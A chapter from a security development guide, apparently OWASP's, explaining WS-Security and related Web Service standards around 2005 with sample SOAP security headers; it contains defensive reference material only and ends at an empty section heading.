W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">''

'' <soap:Header>''

'' <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">''

'' ''

'' </wsse:Security>''

'' </soap:Header>''

'' <soap:Body>''

'' </soap:Body>''

''</soap:Envelope>''

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">''

'' <soap:Header>''

'' <wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">''

'' <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi... ''

'' </wsse:BinarySecurityToken>''

'' <xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">''

'' <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>''

'' <dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">''

'' <wsse:SecurityTokenReference>''

'' <wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>''

'' </wsse:SecurityTokenReference> ''

'' </dsig:KeyInfo>''

'' <xenc:CipherData>''

'' <xenc:CipherValue>Nb0Mf...</xenc:CipherValue>''

'' </xenc:CipherData>''

'' <xenc:ReferenceList>''

'' <xenc:DataReference URI="#aDNa2iD"/>''

'' </xenc:ReferenceList>''

'' </xenc:EncryptedKey>''

'' <wsse:SecurityTokenReference wsu:Id="aZG0sG">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

'' <saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">''

'' ... ''

'' </saml:Assertion>''

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

'' <dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">''

'' <dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">''

'' ...''

'' <dsig:Reference URI="#s91397860">''

'' ... ''

'' <dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>''

'' </dsig:Reference>''

'' </dsig:SignedInfo>''

'' <dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>''

'' <dsig:KeyInfo>''

'' <wsse:SecurityTokenReference>''

'' <wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>''

'' </wsse:SecurityTokenReference>''

'' </dsig:KeyInfo>''

'' </dsig:Signature>''

'' </wsse:Security>''

'' </soap:Header>''

'' <soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">''

'' <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">''

'' <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>''

'' <xenc:CipherData>''

'' <xenc:CipherValue>XFM4J6C...</xenc:CipherValue>''

'' </xenc:CipherData>''

'' </xenc:EncryptedData>''

'' </soap:Body>''

''</soap:Envelope>''

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

''Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )''

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

'' <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">''

'' MIICtzCCAi...''

'' </wsse:BinarySecurityToken>''

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

'' <saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">''

'' ... ''

'' </saml:Assertion>''

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

'' <wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">''

'' 1106844369755''

'' </wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas.

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

